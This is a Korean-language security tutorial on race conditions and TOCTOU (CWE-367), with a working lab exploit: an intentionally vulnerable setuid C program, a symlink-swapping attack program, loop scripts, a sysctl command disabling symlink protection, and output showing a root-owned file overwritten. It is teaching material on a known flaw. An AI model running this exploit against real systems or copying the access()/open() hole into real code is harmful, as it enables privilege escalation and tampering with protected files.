09.Race condition

List

Race condition

- Race condition은 프로세스 또는 스레드간에 자원을 사용하기 위한 경쟁을 뜻합니다.
    - 이러한 경쟁은 프로세스 또는 스레드의 순서 또는 타이밍에 따라 발생합니다.
- Race condition은 프로세스, 스레드에서 사용되는 자원이 공유된 상태일 경우 자주 발생됩니다.
    - 각 프로세스 및 스레드에서 공유된 자원을 동시에 사용되지 않도록 해야 합니다.(상호 배타적)
- Race condition으로 인해 DoS, 데이터 손상, 권한 상승,등의 취약성이 발생될 수 있습니다.
- Race condition은 프로세스 및 스레드 간의 상대적인 타이밍에 따라 달라지기 때문에 버그를 다시 확인하거나 디버깅이 어렵습니다.
    - 소프트웨어 설계 단계에서 Race condition을 피할수 있도록 하는 것이 좋습니다.
- Race condition은 C, C++ 뿐만 아니라 Java, C#,등 다양한 언어에서 발생하며, 시스템 바이너리 뿐만 아니라 웹 서비스에서도 발생합니다.

CWE - Race Condition

- **CWE에서도 다음과 같이 Race condition에 관련된 취약성 정보를 제공하고 있습니다.**
    - 여기에서는 CWE-367에 대한 설명 및 테스트를 진행하겠습니다.

CWE - Race Condition
• CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') • CWE-363: Race Condition Enabling Link Following • CWE-364: Signal Handler Race Condition • CWE-365: Race Condition in Switch • CWE-366: Race Condition within a Thread • CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Time of check to time of use(TOCTTOU)

- **TOCTTOU는 Race condition의 예제로 많이 사용되는 취약성 입니다.**
- **TOCTTOU는 소프트웨어에서 리소스의 상태를 확인하는 시간과 사용하는 시간 사이에 리소스를 변경하여 리소스의 상태 확인 결과를 우회하는 방식입니다.**
    - 이로 인해 리소스가 예기치 않은 상태로 변경되어 소프트웨어가 잘못된 작업을 수행할 수 있습니다
- TOCTOU의 취약성은 항상 심볼릭 링크에 의해 발생하는 것은 아니며, 심볼릭 링크에 의해 발생하는 취약성은 TOCTOU 문제가 아닙니다.

Proof of concept

- **우선 다음과 같이 기본적인 환경 설정이 필요합니다.**
    - 가짜 "/etc/passwd" 파일을 생성하고 "/etc/passwd"과 같은 설정을 적용합니다.
    - 물론 실제 "/etc/passwd" 파일을 대상으로 공격해도 됩니다.

Basic setting

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ mkdir etc
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ cd etc
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ echo Only Root! > passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ cat passwd
Only Root!
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ sudo chown root:root passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ sudo chmod 644 passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ ls -al passwd
-rw-r--r-- 1 root root 13 Jun 26 00:46 passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ cd ..
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ echo > file
```

- **다음과 같이 취약성이 존재하는 코드를 작성합니다.**
  - access() 함수를 이용하여 쓰기가 가능한지 확인합니다.
  - 쓰기가 가능하다면 open(), write() 함수를 이용하여 파일을 읽고 내용을 작성합니다.
- **취약성은 다음과 같은 이유 때문에 발생합니다.**
  - access() 와 open() 함수는 파일 핸들 대신에 파일 이름을 사용하고 있습니다.
  - 해당 함수들이 파일 핸들을 사용하고 있지 않기 때문에 access()함수에 전달된 파일이 open() 파일과 동일하다고 보장할 수 없습니다.
  - 공격자가 access() 함수를 호출 한 후에 심볼릭 링크로 파일을 변경하면 open() 함수에 의해 다른 파일을 수정할 수 있습니다.

vuln.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

void main()
{
    int fd;
    char *file = "./file";
    char buffer[]="Success!! Race Condition : lazenca.0x0\n";

    if (!access(file, W_OK)) {
                printf("Able to open file %s.\n",file);
                fd = open(file, O_WRONLY);
                write(fd, buffer, sizeof(buffer));
                close(fd);
    }else{
                //printf("Unable to open file %s.\n",file);
    }
}
```

- **취약성이 존재하는 프로그램을 공격하기 위해 다음과 같이 작성합니다.**
  - unlink() 함수를 이용하여 file에 설정된 심볼릭 링크를 해제합니다.
  - symlink() 함수를 이용하여 file에 "./etc/passwd" 파일을 링크합니다.

attack.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main()
{
    unlink("file");
    symlink("./etc/passwd","file");
}
```

- **vuln 프로그램을 계속 실행하기 위해 다음과 같은 스크립트가 필요합니다.**

run.sh

```
#!/bin/bash
while :
do
    ./vuln
done
```

- vuln 프로그램을 공격하기 위해 다음과 같은 스크립트가 필요합니다.

race.sh

```
#!/bin/bash
CHECK_FILE="ls -l ./etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
    ./attack
    new=$($CHECK_FILE)
done
echo "Success! The passwd file has been changed"
```

- 다음과 같이 코드를 빌드하고 권한을 설정합니다.

Run race.sh

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ gcc -o vuln vuln.c
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ sudo chown root:root vuln
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ sudo chmod 4755 ./vuln
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ gcc -o attack attack.c
```

Exploit

- 다음과 같이 취약성 프로그램을 실행합니다.

Terminal 1

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ sudo sysctl -w fs.protected_symlinks=0
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ ./run.sh
Able to open file ./file.
Able to open file ./file.
Able to open file ./file.

...
```

- **"./etc/passwd" .**

Terminal 2

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ ./race.sh
Success! The passwd file has been changed
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ cat ./etc/passwd
Success!! Race Condition : lazenca.0x0
lazenca0x0@ubuntu:~/Exploit/RaceCondition$
```

File system hardening

- **(tmp-races, TOCTOU) .**

- Ubuntu는 10.10 이후 부터 내장되어 있습니다.

Turn off protected_symlinks

```
Ubuntu 12.04
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
Ubuntu 16.04
$ sudo sysctl -w fs.protected_symlinks=0
```

Turn on protected_symlinks

```
Ubuntu 12.04
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
Ubuntu 16.04
$ sudo sysctl -w fs.protected_symlinks=1
```

Related site

- https://en.wikipedia.org/wiki/Race_condition#Software
- https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use
- http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Race_Condition/Race_Condition.pdf
- https://www.suse.com/documentation/sles-12/book_hardening/data/sec_sec_prot_general_kernel.html